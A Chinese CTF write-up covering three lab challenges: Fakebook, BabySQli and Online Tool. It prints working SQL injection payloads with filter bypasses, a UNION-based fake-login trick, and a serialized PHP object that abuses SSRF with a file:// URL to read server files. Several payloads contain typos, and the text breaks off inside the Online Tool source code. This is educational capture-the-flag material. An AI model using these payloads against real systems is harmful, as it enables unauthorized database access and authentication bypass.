[网鼎杯 2018]Fakebook
进入后有两个链接,分别是登录和注册,点进去看看,发现注册总是不符合要求。查看源码也木有发现什么,在主页面查看robots.txt,得到一个/user.php.bak
文件,打开有信息:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
知道blog要求为http[s]格式,构造符合要求的blog,注册成功。
登录后发现创建了一个访问blog页面,url上有view.php?no=1
猜测存在SQL注入。尝试注入:
no=1 order by 3(4, 5) //得到字段
no=-1 union select 1,2,3,4 //发现被过滤了
no=-1 union/**/select 1,2,3,4 //绕过,这里是空格绕过,绕过的方法有很多,可以注释绕过也可以双空格绕过,tab绕过等
no=-1 union/**/select 1,database(),3,4
no=-1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_shema=database()),3,4
no=-1 union/**/select 1,(select group_concat(column_name) from information.schema.columns where table_name='users'),3,4
no=-1 union/**/select 1,(select group_concat(data) from fakebook.users),3,4
最后得到一串字符串:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:18:"http://www.aaa.com";}
可以看出这是序列化后的字符串,将我们注册时的内容输出了。
这里可以利用SSRF漏洞,来得到我们想要的flag。
这里再回顾之前得到的/user.php.bak
来构造payload:
<?php
class UserInfo
{
public $name="a";
public $age=11;
public $blog="file:///var/html/www/flag.php";
public function_construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
}
$a = new UserInfo("a", 11, "file:///var/www/html/flag.php");
$a = serialize($a);
echo $a;
?>
得到payload:
O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
又因为data在第四个字段,所以我们将其放到第四位,构造最后的payload:
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
访问源码在blog处访问得到flag。
[GXYCTF2019]BabySQli
进入页面发现是一个简单登录框,看源码发现一个search.php
,查看得到一个被加密的SQL语句(先base32解密后base64解密),得到:
select * from user where username = '$name'
那么可以直接开始在username处注入:(我这直接burp抓包尝试)
最开始先尝试了admin,发现账户是admin密码不是。
name=1' order by 3#&pw=1 //提示hack,说明被过滤了
name=1' oRder by 3#&pw=1 //大小写绕过
name=1' oRder by 4#&pw=1 //报错,得到字段数为3
name=1' union select 1,2,3#&pw=1 //木有回显,只有提示user错误
name=1' union select 'admin',2,3 //猜测name的位置
name=1' union select 1,'admin',3 //得到name的位置在2处
在这里又会有一个联合注入的新知识点: 在联合查询并不存在数据时,联合查询就会构造一个虚拟的数据。
我们可以利用这一点来让其虚拟一个我们想要的密码,这里我是看了wp,知道为md5加密,看到有师傅说有提示,没有发现。我们来构造:
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
这里我们把密码设为了123,这样我们直接用虚拟数据进入,即可得到flag。
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);